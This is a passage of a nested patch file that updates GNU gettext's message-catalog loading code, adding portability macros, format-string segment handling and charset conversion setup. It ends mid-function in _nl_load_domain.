-+#ifdef __GNUC__
-+# undef alloca
-+# define alloca __builtin_alloca
-+# define HAVE_ALLOCA 1
-+#else
-+# ifdef _MSC_VER
-+# include <malloc.h>
-+# define alloca _alloca
-+# else
-+# if defined HAVE_ALLOCA_H || defined _LIBC
-+# include <alloca.h>
-+# else
-+# ifdef _AIX
-+ #pragma alloca
-+# else
-+# ifndef alloca
-+char *alloca ();
-+# endif
-+# endif
-+# endif
-+# endif
- #endif
-
-+#include <stdlib.h>
-+#include <string.h>
-+
- #if defined HAVE_UNISTD_H || defined _LIBC
- # include <unistd.h>
- #endif
-
--#if (defined HAVE_MMAP && defined HAVE_MUNMAP) || defined _LIBC
-+#ifdef _LIBC
-+# include <langinfo.h>
-+# include <locale.h>
-+#endif
-+
-+#if (defined HAVE_MMAP && defined HAVE_MUNMAP && !defined DISALLOW_MMAP) \
-+ || (defined _LIBC && defined _POSIX_MAPPED_FILES)
- # include <sys/mman.h>
-+# undef HAVE_MMAP
-+# define HAVE_MMAP 1
-+#else
-+# undef HAVE_MMAP
- #endif
-
--#include "gettext.h"
-+#if defined HAVE_STDINT_H_WITH_UINTMAX || defined _LIBC
-+# include <stdint.h>
-+#endif
-+#if defined HAVE_INTTYPES_H || defined _LIBC
-+# include <inttypes.h>
-+#endif
-+
-+#include "gmo.h"
- #include "gettextP.h"
-+#include "hash-string.h"
-+#include "plural-exp.h"
-+
-+#ifdef _LIBC
-+# include "../locale/localeinfo.h"
-+#endif
-+
-+/* Provide fallback values for macros that ought to be defined in <inttypes.h>.
-+ Note that our fallback values need not be literal strings, because we don't
-+ use them with preprocessor string concatenation. */
-+#if !defined PRId8 || PRI_MACROS_BROKEN
-+# undef PRId8
-+# define PRId8 "d"
-+#endif
-+#if !defined PRIi8 || PRI_MACROS_BROKEN
-+# undef PRIi8
-+# define PRIi8 "i"
-+#endif
-+#if !defined PRIo8 || PRI_MACROS_BROKEN
-+# undef PRIo8
-+# define PRIo8 "o"
-+#endif
-+#if !defined PRIu8 || PRI_MACROS_BROKEN
-+# undef PRIu8
-+# define PRIu8 "u"
-+#endif
-+#if !defined PRIx8 || PRI_MACROS_BROKEN
-+# undef PRIx8
-+# define PRIx8 "x"
-+#endif
-+#if !defined PRIX8 || PRI_MACROS_BROKEN
-+# undef PRIX8
-+# define PRIX8 "X"
-+#endif
-+#if !defined PRId16 || PRI_MACROS_BROKEN
-+# undef PRId16
-+# define PRId16 "d"
-+#endif
-+#if !defined PRIi16 || PRI_MACROS_BROKEN
-+# undef PRIi16
-+# define PRIi16 "i"
-+#endif
-+#if !defined PRIo16 || PRI_MACROS_BROKEN
-+# undef PRIo16
-+# define PRIo16 "o"
-+#endif
-+#if !defined PRIu16 || PRI_MACROS_BROKEN
-+# undef PRIu16
-+# define PRIu16 "u"
-+#endif
-+#if !defined PRIx16 || PRI_MACROS_BROKEN
-+# undef PRIx16
-+# define PRIx16 "x"
-+#endif
-+#if !defined PRIX16 || PRI_MACROS_BROKEN
-+# undef PRIX16
-+# define PRIX16 "X"
-+#endif
-+#if !defined PRId32 || PRI_MACROS_BROKEN
-+# undef PRId32
-+# define PRId32 "d"
-+#endif
-+#if !defined PRIi32 || PRI_MACROS_BROKEN
-+# undef PRIi32
-+# define PRIi32 "i"
-+#endif
-+#if !defined PRIo32 || PRI_MACROS_BROKEN
-+# undef PRIo32
-+# define PRIo32 "o"
-+#endif
-+#if !defined PRIu32 || PRI_MACROS_BROKEN
-+# undef PRIu32
-+# define PRIu32 "u"
-+#endif
-+#if !defined PRIx32 || PRI_MACROS_BROKEN
-+# undef PRIx32
-+# define PRIx32 "x"
-+#endif
-+#if !defined PRIX32 || PRI_MACROS_BROKEN
-+# undef PRIX32
-+# define PRIX32 "X"
-+#endif
-+#if !defined PRId64 || PRI_MACROS_BROKEN
-+# undef PRId64
-+# define PRId64 (sizeof (long) == 8 ? "ld" : "lld")
-+#endif
-+#if !defined PRIi64 || PRI_MACROS_BROKEN
-+# undef PRIi64
-+# define PRIi64 (sizeof (long) == 8 ? "li" : "lli")
-+#endif
-+#if !defined PRIo64 || PRI_MACROS_BROKEN
-+# undef PRIo64
-+# define PRIo64 (sizeof (long) == 8 ? "lo" : "llo")
-+#endif
-+#if !defined PRIu64 || PRI_MACROS_BROKEN
-+# undef PRIu64
-+# define PRIu64 (sizeof (long) == 8 ? "lu" : "llu")
-+#endif
-+#if !defined PRIx64 || PRI_MACROS_BROKEN
-+# undef PRIx64
-+# define PRIx64 (sizeof (long) == 8 ? "lx" : "llx")
-+#endif
-+#if !defined PRIX64 || PRI_MACROS_BROKEN
-+# undef PRIX64
-+# define PRIX64 (sizeof (long) == 8 ? "lX" : "llX")
-+#endif
-+#if !defined PRIdLEAST8 || PRI_MACROS_BROKEN
-+# undef PRIdLEAST8
-+# define PRIdLEAST8 "d"
-+#endif
-+#if !defined PRIiLEAST8 || PRI_MACROS_BROKEN
-+# undef PRIiLEAST8
-+# define PRIiLEAST8 "i"
-+#endif
-+#if !defined PRIoLEAST8 || PRI_MACROS_BROKEN
-+# undef PRIoLEAST8
-+# define PRIoLEAST8 "o"
-+#endif
-+#if !defined PRIuLEAST8 || PRI_MACROS_BROKEN
-+# undef PRIuLEAST8
-+# define PRIuLEAST8 "u"
-+#endif
-+#if !defined PRIxLEAST8 || PRI_MACROS_BROKEN
-+# undef PRIxLEAST8
-+# define PRIxLEAST8 "x"
-+#endif
-+#if !defined PRIXLEAST8 || PRI_MACROS_BROKEN
-+# undef PRIXLEAST8
-+# define PRIXLEAST8 "X"
-+#endif
-+#if !defined PRIdLEAST16 || PRI_MACROS_BROKEN
-+# undef PRIdLEAST16
-+# define PRIdLEAST16 "d"
-+#endif
-+#if !defined PRIiLEAST16 || PRI_MACROS_BROKEN
-+# undef PRIiLEAST16
-+# define PRIiLEAST16 "i"
-+#endif
-+#if !defined PRIoLEAST16 || PRI_MACROS_BROKEN
-+# undef PRIoLEAST16
-+# define PRIoLEAST16 "o"
-+#endif
-+#if !defined PRIuLEAST16 || PRI_MACROS_BROKEN
-+# undef PRIuLEAST16
-+# define PRIuLEAST16 "u"
-+#endif
-+#if !defined PRIxLEAST16 || PRI_MACROS_BROKEN
-+# undef PRIxLEAST16
-+# define PRIxLEAST16 "x"
-+#endif
-+#if !defined PRIXLEAST16 || PRI_MACROS_BROKEN
-+# undef PRIXLEAST16
-+# define PRIXLEAST16 "X"
-+#endif
-+#if !defined PRIdLEAST32 || PRI_MACROS_BROKEN
-+# undef PRIdLEAST32
-+# define PRIdLEAST32 "d"
-+#endif
-+#if !defined PRIiLEAST32 || PRI_MACROS_BROKEN
-+# undef PRIiLEAST32
-+# define PRIiLEAST32 "i"
-+#endif
-+#if !defined PRIoLEAST32 || PRI_MACROS_BROKEN
-+# undef PRIoLEAST32
-+# define PRIoLEAST32 "o"
-+#endif
-+#if !defined PRIuLEAST32 || PRI_MACROS_BROKEN
-+# undef PRIuLEAST32
-+# define PRIuLEAST32 "u"
-+#endif
-+#if !defined PRIxLEAST32 || PRI_MACROS_BROKEN
-+# undef PRIxLEAST32
-+# define PRIxLEAST32 "x"
-+#endif
-+#if !defined PRIXLEAST32 || PRI_MACROS_BROKEN
-+# undef PRIXLEAST32
-+# define PRIXLEAST32 "X"
-+#endif
-+#if !defined PRIdLEAST64 || PRI_MACROS_BROKEN
-+# undef PRIdLEAST64
-+# define PRIdLEAST64 PRId64
-+#endif
-+#if !defined PRIiLEAST64 || PRI_MACROS_BROKEN
-+# undef PRIiLEAST64
-+# define PRIiLEAST64 PRIi64
-+#endif
-+#if !defined PRIoLEAST64 || PRI_MACROS_BROKEN
-+# undef PRIoLEAST64
-+# define PRIoLEAST64 PRIo64
-+#endif
-+#if !defined PRIuLEAST64 || PRI_MACROS_BROKEN
-+# undef PRIuLEAST64
-+# define PRIuLEAST64 PRIu64
-+#endif
-+#if !defined PRIxLEAST64 || PRI_MACROS_BROKEN
-+# undef PRIxLEAST64
-+# define PRIxLEAST64 PRIx64
-+#endif
-+#if !defined PRIXLEAST64 || PRI_MACROS_BROKEN
-+# undef PRIXLEAST64
-+# define PRIXLEAST64 PRIX64
-+#endif
-+#if !defined PRIdFAST8 || PRI_MACROS_BROKEN
-+# undef PRIdFAST8
-+# define PRIdFAST8 "d"
-+#endif
-+#if !defined PRIiFAST8 || PRI_MACROS_BROKEN
-+# undef PRIiFAST8
-+# define PRIiFAST8 "i"
-+#endif
-+#if !defined PRIoFAST8 || PRI_MACROS_BROKEN
-+# undef PRIoFAST8
-+# define PRIoFAST8 "o"
-+#endif
-+#if !defined PRIuFAST8 || PRI_MACROS_BROKEN
-+# undef PRIuFAST8
-+# define PRIuFAST8 "u"
-+#endif
-+#if !defined PRIxFAST8 || PRI_MACROS_BROKEN
-+# undef PRIxFAST8
-+# define PRIxFAST8 "x"
-+#endif
-+#if !defined PRIXFAST8 || PRI_MACROS_BROKEN
-+# undef PRIXFAST8
-+# define PRIXFAST8 "X"
-+#endif
-+#if !defined PRIdFAST16 || PRI_MACROS_BROKEN
-+# undef PRIdFAST16
-+# define PRIdFAST16 "d"
-+#endif
-+#if !defined PRIiFAST16 || PRI_MACROS_BROKEN
-+# undef PRIiFAST16
-+# define PRIiFAST16 "i"
-+#endif
-+#if !defined PRIoFAST16 || PRI_MACROS_BROKEN
-+# undef PRIoFAST16
-+# define PRIoFAST16 "o"
-+#endif
-+#if !defined PRIuFAST16 || PRI_MACROS_BROKEN
-+# undef PRIuFAST16
-+# define PRIuFAST16 "u"
-+#endif
-+#if !defined PRIxFAST16 || PRI_MACROS_BROKEN
-+# undef PRIxFAST16
-+# define PRIxFAST16 "x"
-+#endif
-+#if !defined PRIXFAST16 || PRI_MACROS_BROKEN
-+# undef PRIXFAST16
-+# define PRIXFAST16 "X"
-+#endif
-+#if !defined PRIdFAST32 || PRI_MACROS_BROKEN
-+# undef PRIdFAST32
-+# define PRIdFAST32 "d"
-+#endif
-+#if !defined PRIiFAST32 || PRI_MACROS_BROKEN
-+# undef PRIiFAST32
-+# define PRIiFAST32 "i"
-+#endif
-+#if !defined PRIoFAST32 || PRI_MACROS_BROKEN
-+# undef PRIoFAST32
-+# define PRIoFAST32 "o"
-+#endif
-+#if !defined PRIuFAST32 || PRI_MACROS_BROKEN
-+# undef PRIuFAST32
-+# define PRIuFAST32 "u"
-+#endif
-+#if !defined PRIxFAST32 || PRI_MACROS_BROKEN
-+# undef PRIxFAST32
-+# define PRIxFAST32 "x"
-+#endif
-+#if !defined PRIXFAST32 || PRI_MACROS_BROKEN
-+# undef PRIXFAST32
-+# define PRIXFAST32 "X"
-+#endif
-+#if !defined PRIdFAST64 || PRI_MACROS_BROKEN
-+# undef PRIdFAST64
-+# define PRIdFAST64 PRId64
-+#endif
-+#if !defined PRIiFAST64 || PRI_MACROS_BROKEN
-+# undef PRIiFAST64
-+# define PRIiFAST64 PRIi64
-+#endif
-+#if !defined PRIoFAST64 || PRI_MACROS_BROKEN
-+# undef PRIoFAST64
-+# define PRIoFAST64 PRIo64
-+#endif
-+#if !defined PRIuFAST64 || PRI_MACROS_BROKEN
-+# undef PRIuFAST64
-+# define PRIuFAST64 PRIu64
-+#endif
-+#if !defined PRIxFAST64 || PRI_MACROS_BROKEN
-+# undef PRIxFAST64
-+# define PRIxFAST64 PRIx64
-+#endif
-+#if !defined PRIXFAST64 || PRI_MACROS_BROKEN
-+# undef PRIXFAST64
-+# define PRIXFAST64 PRIX64
-+#endif
-+#if !defined PRIdMAX || PRI_MACROS_BROKEN
-+# undef PRIdMAX
-+# define PRIdMAX (sizeof (uintmax_t) == sizeof (long) ? "ld" : "lld")
-+#endif
-+#if !defined PRIiMAX || PRI_MACROS_BROKEN
-+# undef PRIiMAX
-+# define PRIiMAX (sizeof (uintmax_t) == sizeof (long) ? "li" : "lli")
-+#endif
-+#if !defined PRIoMAX || PRI_MACROS_BROKEN
-+# undef PRIoMAX
-+# define PRIoMAX (sizeof (uintmax_t) == sizeof (long) ? "lo" : "llo")
-+#endif
-+#if !defined PRIuMAX || PRI_MACROS_BROKEN
-+# undef PRIuMAX
-+# define PRIuMAX (sizeof (uintmax_t) == sizeof (long) ? "lu" : "llu")
-+#endif
-+#if !defined PRIxMAX || PRI_MACROS_BROKEN
-+# undef PRIxMAX
-+# define PRIxMAX (sizeof (uintmax_t) == sizeof (long) ? "lx" : "llx")
-+#endif
-+#if !defined PRIXMAX || PRI_MACROS_BROKEN
-+# undef PRIXMAX
-+# define PRIXMAX (sizeof (uintmax_t) == sizeof (long) ? "lX" : "llX")
-+#endif
-+#if !defined PRIdPTR || PRI_MACROS_BROKEN
-+# undef PRIdPTR
-+# define PRIdPTR \
-+ (sizeof (void *) == sizeof (long) ? "ld" : \
-+ sizeof (void *) == sizeof (int) ? "d" : \
-+ "lld")
-+#endif
-+#if !defined PRIiPTR || PRI_MACROS_BROKEN
-+# undef PRIiPTR
-+# define PRIiPTR \
-+ (sizeof (void *) == sizeof (long) ? "li" : \
-+ sizeof (void *) == sizeof (int) ? "i" : \
-+ "lli")
-+#endif
-+#if !defined PRIoPTR || PRI_MACROS_BROKEN
-+# undef PRIoPTR
-+# define PRIoPTR \
-+ (sizeof (void *) == sizeof (long) ? "lo" : \
-+ sizeof (void *) == sizeof (int) ? "o" : \
-+ "llo")
-+#endif
-+#if !defined PRIuPTR || PRI_MACROS_BROKEN
-+# undef PRIuPTR
-+# define PRIuPTR \
-+ (sizeof (void *) == sizeof (long) ? "lu" : \
-+ sizeof (void *) == sizeof (int) ? "u" : \
-+ "llu")
-+#endif
-+#if !defined PRIxPTR || PRI_MACROS_BROKEN
-+# undef PRIxPTR
-+# define PRIxPTR \
-+ (sizeof (void *) == sizeof (long) ? "lx" : \
-+ sizeof (void *) == sizeof (int) ? "x" : \
-+ "llx")
-+#endif
-+#if !defined PRIXPTR || PRI_MACROS_BROKEN
-+# undef PRIXPTR
-+# define PRIXPTR \
-+ (sizeof (void *) == sizeof (long) ? "lX" : \
-+ sizeof (void *) == sizeof (int) ? "X" : \
-+ "llX")
-+#endif
-
- /* @@ end of prolog @@ */
-
-@@ -44,7 +457,6 @@
- /* Rename the non ISO C functions. This is required by the standard
- because some ISO C functions will require linking with this object
- file and the name space must not be polluted. */
--# define fstat __fstat
- # define open __open
- # define close __close
- # define read __read
-@@ -52,30 +464,471 @@
- # define munmap __munmap
- #endif
-
-+/* For those losing systems which don't have `alloca' we have to add
-+ some additional code emulating it. */
-+#ifdef HAVE_ALLOCA
-+# define freea(p) /* nothing */
-+#else
-+# define alloca(n) malloc (n)
-+# define freea(p) free (p)
-+#endif
-+
-+/* For systems that distinguish between text and binary I/O.
-+ O_BINARY is usually declared in <fcntl.h>. */
-+#if !defined O_BINARY && defined _O_BINARY
-+ /* For MSC-compatible compilers. */
-+# define O_BINARY _O_BINARY
-+# define O_TEXT _O_TEXT
-+#endif
-+#ifdef __BEOS__
-+ /* BeOS 5 has O_BINARY and O_TEXT, but they have no effect. */
-+# undef O_BINARY
-+# undef O_TEXT
-+#endif
-+/* On reasonable systems, binary I/O is the default. */
-+#ifndef O_BINARY
-+# define O_BINARY 0
-+#endif
-+
-+
- /* We need a sign, whether a new catalog was loaded, which can be associated
- with all translations. This is important if the translations are
- cached by one of GCC's features. */
--int _nl_msg_cat_cntr = 0;
-+int _nl_msg_cat_cntr;
-
-
-+/* Expand a system dependent string segment. Return NULL if unsupported. */
-+static const char *
-+get_sysdep_segment_value (const char *name)
-+{
-+ /* Test for an ISO C 99 section 7.8.1 format string directive.
-+ Syntax:
-+ P R I { d | i | o | u | x | X }
-+ { { | LEAST | FAST } { 8 | 16 | 32 | 64 } | MAX | PTR } */
-+ /* We don't use a table of 14 times 6 'const char *' strings here, because
-+ data relocations cost startup time. */
-+ if (name[0] == 'P' && name[1] == 'R' && name[2] == 'I')
-+ {
-+ if (name[3] == 'd' || name[3] == 'i' || name[3] == 'o' || name[3] == 'u'
-+ || name[3] == 'x' || name[3] == 'X')
-+ {
-+ if (name[4] == '8' && name[5] == '\0')
-+ {
-+ if (name[3] == 'd')
-+ return PRId8;
-+ if (name[3] == 'i')
-+ return PRIi8;
-+ if (name[3] == 'o')
-+ return PRIo8;
-+ if (name[3] == 'u')
-+ return PRIu8;
-+ if (name[3] == 'x')
-+ return PRIx8;
-+ if (name[3] == 'X')
-+ return PRIX8;
-+ abort ();
-+ }
-+ if (name[4] == '1' && name[5] == '6' && name[6] == '\0')
-+ {
-+ if (name[3] == 'd')
-+ return PRId16;
-+ if (name[3] == 'i')
-+ return PRIi16;
-+ if (name[3] == 'o')
-+ return PRIo16;
-+ if (name[3] == 'u')
-+ return PRIu16;
-+ if (name[3] == 'x')
-+ return PRIx16;
-+ if (name[3] == 'X')
-+ return PRIX16;
-+ abort ();
-+ }
-+ if (name[4] == '3' && name[5] == '2' && name[6] == '\0')
-+ {
-+ if (name[3] == 'd')
-+ return PRId32;
-+ if (name[3] == 'i')
-+ return PRIi32;
-+ if (name[3] == 'o')
-+ return PRIo32;
-+ if (name[3] == 'u')
-+ return PRIu32;
-+ if (name[3] == 'x')
-+ return PRIx32;
-+ if (name[3] == 'X')
-+ return PRIX32;
-+ abort ();
-+ }
-+ if (name[4] == '6' && name[5] == '4' && name[6] == '\0')
-+ {
-+ if (name[3] == 'd')
-+ return PRId64;
-+ if (name[3] == 'i')
-+ return PRIi64;
-+ if (name[3] == 'o')
-+ return PRIo64;
-+ if (name[3] == 'u')
-+ return PRIu64;
-+ if (name[3] == 'x')
-+ return PRIx64;
-+ if (name[3] == 'X')
-+ return PRIX64;
-+ abort ();
-+ }
-+ if (name[4] == 'L' && name[5] == 'E' && name[6] == 'A'
-+ && name[7] == 'S' && name[8] == 'T')
-+ {
-+ if (name[9] == '8' && name[10] == '\0')
-+ {
-+ if (name[3] == 'd')
-+ return PRIdLEAST8;
-+ if (name[3] == 'i')
-+ return PRIiLEAST8;
-+ if (name[3] == 'o')
-+ return PRIoLEAST8;
-+ if (name[3] == 'u')
-+ return PRIuLEAST8;
-+ if (name[3] == 'x')
-+ return PRIxLEAST8;
-+ if (name[3] == 'X')
-+ return PRIXLEAST8;
-+ abort ();
-+ }
-+ if (name[9] == '1' && name[10] == '6' && name[11] == '\0')
-+ {
-+ if (name[3] == 'd')
-+ return PRIdLEAST16;
-+ if (name[3] == 'i')
-+ return PRIiLEAST16;
-+ if (name[3] == 'o')
-+ return PRIoLEAST16;
-+ if (name[3] == 'u')
-+ return PRIuLEAST16;
-+ if (name[3] == 'x')
-+ return PRIxLEAST16;
-+ if (name[3] == 'X')
-+ return PRIXLEAST16;
-+ abort ();
-+ }
-+ if (name[9] == '3' && name[10] == '2' && name[11] == '\0')
-+ {
-+ if (name[3] == 'd')
-+ return PRIdLEAST32;
-+ if (name[3] == 'i')
-+ return PRIiLEAST32;
-+ if (name[3] == 'o')
-+ return PRIoLEAST32;
-+ if (name[3] == 'u')
-+ return PRIuLEAST32;
-+ if (name[3] == 'x')
-+ return PRIxLEAST32;
-+ if (name[3] == 'X')
-+ return PRIXLEAST32;
-+ abort ();
-+ }
-+ if (name[9] == '6' && name[10] == '4' && name[11] == '\0')
-+ {
-+ if (name[3] == 'd')
-+ return PRIdLEAST64;
-+ if (name[3] == 'i')
-+ return PRIiLEAST64;
-+ if (name[3] == 'o')
-+ return PRIoLEAST64;
-+ if (name[3] == 'u')
-+ return PRIuLEAST64;
-+ if (name[3] == 'x')
-+ return PRIxLEAST64;
-+ if (name[3] == 'X')
-+ return PRIXLEAST64;
-+ abort ();
-+ }
-+ }
-+ if (name[4] == 'F' && name[5] == 'A' && name[6] == 'S'
-+ && name[7] == 'T')
-+ {
-+ if (name[8] == '8' && name[9] == '\0')
-+ {
-+ if (name[3] == 'd')
-+ return PRIdFAST8;
-+ if (name[3] == 'i')
-+ return PRIiFAST8;
-+ if (name[3] == 'o')
-+ return PRIoFAST8;
-+ if (name[3] == 'u')
-+ return PRIuFAST8;
-+ if (name[3] == 'x')
-+ return PRIxFAST8;
-+ if (name[3] == 'X')
-+ return PRIXFAST8;
-+ abort ();
-+ }
-+ if (name[8] == '1' && name[9] == '6' && name[10] == '\0')
-+ {
-+ if (name[3] == 'd')
-+ return PRIdFAST16;
-+ if (name[3] == 'i')
-+ return PRIiFAST16;
-+ if (name[3] == 'o')
-+ return PRIoFAST16;
-+ if (name[3] == 'u')
-+ return PRIuFAST16;
-+ if (name[3] == 'x')
-+ return PRIxFAST16;
-+ if (name[3] == 'X')
-+ return PRIXFAST16;
-+ abort ();
-+ }
-+ if (name[8] == '3' && name[9] == '2' && name[10] == '\0')
-+ {
-+ if (name[3] == 'd')
-+ return PRIdFAST32;
-+ if (name[3] == 'i')
-+ return PRIiFAST32;
-+ if (name[3] == 'o')
-+ return PRIoFAST32;
-+ if (name[3] == 'u')
-+ return PRIuFAST32;
-+ if (name[3] == 'x')
-+ return PRIxFAST32;
-+ if (name[3] == 'X')
-+ return PRIXFAST32;
-+ abort ();
-+ }
-+ if (name[8] == '6' && name[9] == '4' && name[10] == '\0')
-+ {
-+ if (name[3] == 'd')
-+ return PRIdFAST64;
-+ if (name[3] == 'i')
-+ return PRIiFAST64;
-+ if (name[3] == 'o')
-+ return PRIoFAST64;
-+ if (name[3] == 'u')
-+ return PRIuFAST64;
-+ if (name[3] == 'x')
-+ return PRIxFAST64;
-+ if (name[3] == 'X')
-+ return PRIXFAST64;
-+ abort ();
-+ }
-+ }
-+ if (name[4] == 'M' && name[5] == 'A' && name[6] == 'X'
-+ && name[7] == '\0')
-+ {
-+ if (name[3] == 'd')
-+ return PRIdMAX;
-+ if (name[3] == 'i')
-+ return PRIiMAX;
-+ if (name[3] == 'o')
-+ return PRIoMAX;
-+ if (name[3] == 'u')
-+ return PRIuMAX;
-+ if (name[3] == 'x')
-+ return PRIxMAX;
-+ if (name[3] == 'X')
-+ return PRIXMAX;
-+ abort ();
-+ }
-+ if (name[4] == 'P' && name[5] == 'T' && name[6] == 'R'
-+ && name[7] == '\0')
-+ {
-+ if (name[3] == 'd')
-+ return PRIdPTR;
-+ if (name[3] == 'i')
-+ return PRIiPTR;
-+ if (name[3] == 'o')
-+ return PRIoPTR;
-+ if (name[3] == 'u')
-+ return PRIuPTR;
-+ if (name[3] == 'x')
-+ return PRIxPTR;
-+ if (name[3] == 'X')
-+ return PRIXPTR;
-+ abort ();
-+ }
-+ }
-+ }
-+ /* Test for a glibc specific printf() format directive flag. */
-+ if (name[0] == 'I' && name[1] == '\0')
-+ {
-+#if defined _LIBC || __GLIBC__ > 2 || (__GLIBC__ == 2 && __GLIBC_MINOR__ >= 2)
-+ /* The 'I' flag, in numeric format directives, replaces ASCII digits
-+ with the 'outdigits' defined in the LC_CTYPE locale facet. This is
-+ used for Farsi (Persian) and maybe Arabic. */
-+ return "I";
-+#else
-+ return "";
-+#endif
-+ }
-+ /* Other system dependent strings are not valid. */
-+ return NULL;
-+}
-+
-+/* Initialize the codeset dependent parts of an opened message catalog.
-+ Return the header entry. */
-+const char *
-+internal_function
-+_nl_init_domain_conv (struct loaded_l10nfile *domain_file,
-+ struct loaded_domain *domain,
-+ struct binding *domainbinding)
-+{
-+ /* Find out about the character set the file is encoded with.
-+ This can be found (in textual form) in the entry "". If this
-+ entry does not exist or if this does not contain the `charset='
-+ information, we will assume the charset matches the one the
-+ current locale and we don't have to perform any conversion. */
-+ char *nullentry;
-+ size_t nullentrylen;
-+
-+ /* Preinitialize fields, to avoid recursion during _nl_find_msg. */
-+ domain->codeset_cntr =
-+ (domainbinding != NULL ? domainbinding->codeset_cntr : 0);
-+#ifdef _LIBC
-+ domain->conv = (__gconv_t) -1;
-+#else
-+# if HAVE_ICONV
-+ domain->conv = (iconv_t) -1;
-+# endif
-+#endif
-+ domain->conv_tab = NULL;
-+
-+ /* Get the header entry. */
-+ nullentry = _nl_find_msg (domain_file, domainbinding, "", &nullentrylen);
-+
-+ if (nullentry != NULL)
-+ {
-+#if defined _LIBC || HAVE_ICONV
-+ const char *charsetstr;
-+
-+ charsetstr = strstr (nullentry, "charset=");
-+ if (charsetstr != NULL)
-+ {
-+ size_t len;
-+ char *charset;
-+ const char *outcharset;
-+
-+ charsetstr += strlen ("charset=");
-+ len = strcspn (charsetstr, " \t\n");
-+
-+ charset = (char *) alloca (len + 1);
-+# if defined _LIBC || HAVE_MEMPCPY
-+ *((char *) mempcpy (charset, charsetstr, len)) = '\0';
-+# else
-+ memcpy (charset, charsetstr, len);
-+ charset[len] = '\0';
-+# endif
-+
-+ /* The output charset should normally be determined by the
-+ locale. But sometimes the locale is not used or not correctly
-+ set up, so we provide a possibility for the user to override
-+ this. Moreover, the value specified through
-+ bind_textdomain_codeset overrides both. */
-+ if (domainbinding != NULL && domainbinding->codeset != NULL)
-+ outcharset = domainbinding->codeset;
-+ else
-+ {
-+ outcharset = getenv ("OUTPUT_CHARSET");
-+ if (outcharset == NULL || outcharset[0] == '\0')
-+ {
-+# ifdef _LIBC
-+ outcharset = _NL_CURRENT (LC_CTYPE, CODESET);
-+# else
-+# if HAVE_ICONV
-+ extern const char *locale_charset (void);
-+ outcharset = locale_charset ();
-+# endif
-+# endif
-+ }
-+ }
-+
-+# ifdef _LIBC
-+ /* We always want to use transliteration. */
-+ outcharset = norm_add_slashes (outcharset, "TRANSLIT");
-+ charset = norm_add_slashes (charset, NULL);
-+ if (__gconv_open (outcharset, charset, &domain->conv,
-+ GCONV_AVOID_NOCONV)
-+ != __GCONV_OK)
-+ domain->conv = (__gconv_t) -1;
-+# else
-+# if HAVE_ICONV
-+ /* When using GNU libc >= 2.2 or GNU libiconv >= 1.5,
-+ we want to use transliteration. */
-+# if (__GLIBC__ == 2 && __GLIBC_MINOR__ >= 2) || __GLIBC__ > 2 \
-+ || _LIBICONV_VERSION >= 0x0105
-+ if (strchr (outcharset, '/') == NULL)
-+ {
-+ char *tmp;
-+
-+ len = strlen (outcharset);
-+ tmp = (char *) alloca (len + 10 + 1);
-+ memcpy (tmp, outcharset, len);
-+ memcpy (tmp + len, "//TRANSLIT", 10 + 1);
-+ outcharset = tmp;
-+
-+ domain->conv = iconv_open (outcharset, charset);
-+
-+ freea (outcharset);
-+ }
-+ else
-+# endif
-+ domain->conv = iconv_open (outcharset, charset);
-+# endif
-+# endif
-+
-+ freea (charset);
-+ }
-+#endif /* _LIBC || HAVE_ICONV */
-+ }
-+
-+ return nullentry;
-+}
-+
-+/* Frees the codeset dependent parts of an opened message catalog. */
-+void
-+internal_function
-+_nl_free_domain_conv (struct loaded_domain *domain)
-+{
-+ if (domain->conv_tab != NULL && domain->conv_tab != (char **) -1)
-+ free (domain->conv_tab);
-+
-+#ifdef _LIBC
-+ if (domain->conv != (__gconv_t) -1)
-+ __gconv_close (domain->conv);
-+#else
-+# if HAVE_ICONV
-+ if (domain->conv != (iconv_t) -1)
-+ iconv_close (domain->conv);
-+# endif
-+#endif
-+}
-+
- /* Load the message catalogs specified by FILENAME. If it is no valid
- message catalog do nothing. */
- void
--_nl_load_domain (domain_file)
-- struct loaded_l10nfile *domain_file;
-+internal_function
-+_nl_load_domain (struct loaded_l10nfile *domain_file,
-+ struct binding *domainbinding)
- {
- int fd;
-+ size_t size;
-+#ifdef _LIBC
-+ struct stat64 st;
-+#else
- struct stat st;
-+#endif
- struct mo_file_header *data = (struct mo_file_header *) -1;
--#if (defined HAVE_MMAP && defined HAVE_MUNMAP && !defined DISALLOW_MMAP) \
-- || defined _LIBC
- int use_mmap = 0;
--#endif
- struct loaded_domain *domain;
-+ int revision;
-+ const char *nullentry;
-
- domain_file->decided = 1;
- domain_file->data = NULL;
-
-+ /* Note that it would be useless to store domainbinding in domain_file
-+ because domainbinding might be == NULL now but != NULL later (after
-+ a call to bind_textdomain_codeset). */
-+
- /* If the record does not represent a valid locale the FILENAME
- might be NULL. This can happen when according to the given
- specification the locale file name is different for XPG and CEN
-@@ -84,27 +937,32 @@
- return;
-
- /* Try to open the addressed file. */
-- fd = open (domain_file->filename, O_RDONLY);
-+ fd = open (domain_file->filename, O_RDONLY | O_BINARY);
- if (fd == -1)
- return;
-
- /* We must know about the size of the file. */
-- if (fstat (fd, &st) != 0
-- && st.st_size < (off_t) sizeof (struct mo_file_header))
-+ if (
-+#ifdef _LIBC
-+ __builtin_expect (fstat64 (fd, &st) != 0, 0)
-+#else
-+ __builtin_expect (fstat (fd, &st) != 0, 0)
-+#endif
-+ || __builtin_expect ((size = (size_t) st.st_size) != st.st_size, 0)
-+ || __builtin_expect (size < sizeof (struct mo_file_header), 0))
- {
- /* Something went wrong. */
- close (fd);
- return;
- }
-
--#if (defined HAVE_MMAP && defined HAVE_MUNMAP && !defined DISALLOW_MMAP) \
-- || defined _LIBC
-+#ifdef HAVE_MMAP
- /* Now we are ready to load the file. If mmap() is available we try
- this first. If not available or it failed we try to load it. */
-- data = (struct mo_file_header *) mmap (NULL, st.st_size, PROT_READ,
-+ data = (struct mo_file_header *) mmap (NULL, size, PROT_READ,
- MAP_PRIVATE, fd, 0);
-
-- if (data != (struct mo_file_header *) -1)
-+ if (__builtin_expect (data != (struct mo_file_header *) -1, 1))
- {
- /* mmap() call was successful. */
- close (fd);
-@@ -116,24 +974,27 @@
- it manually. */
- if (data == (struct mo_file_header *) -1)
- {
-- off_t to_read;
-+ size_t to_read;
- char *read_ptr;
-
-- data = (struct mo_file_header *) malloc (st.st_size);
-+ data = (struct mo_file_header *) malloc (size);
- if (data == NULL)
- return;
-
-- to_read = st.st_size;
-+ to_read = size;
- read_ptr = (char *) data;
- do
- {
- long int nb = (long int) read (fd, read_ptr, to_read);
-- if (nb == -1)
-+ if (nb <= 0)
- {
-+#ifdef EINTR
-+ if (nb == -1 && errno == EINTR)
-+ continue;
-+#endif
- close (fd);
- return;
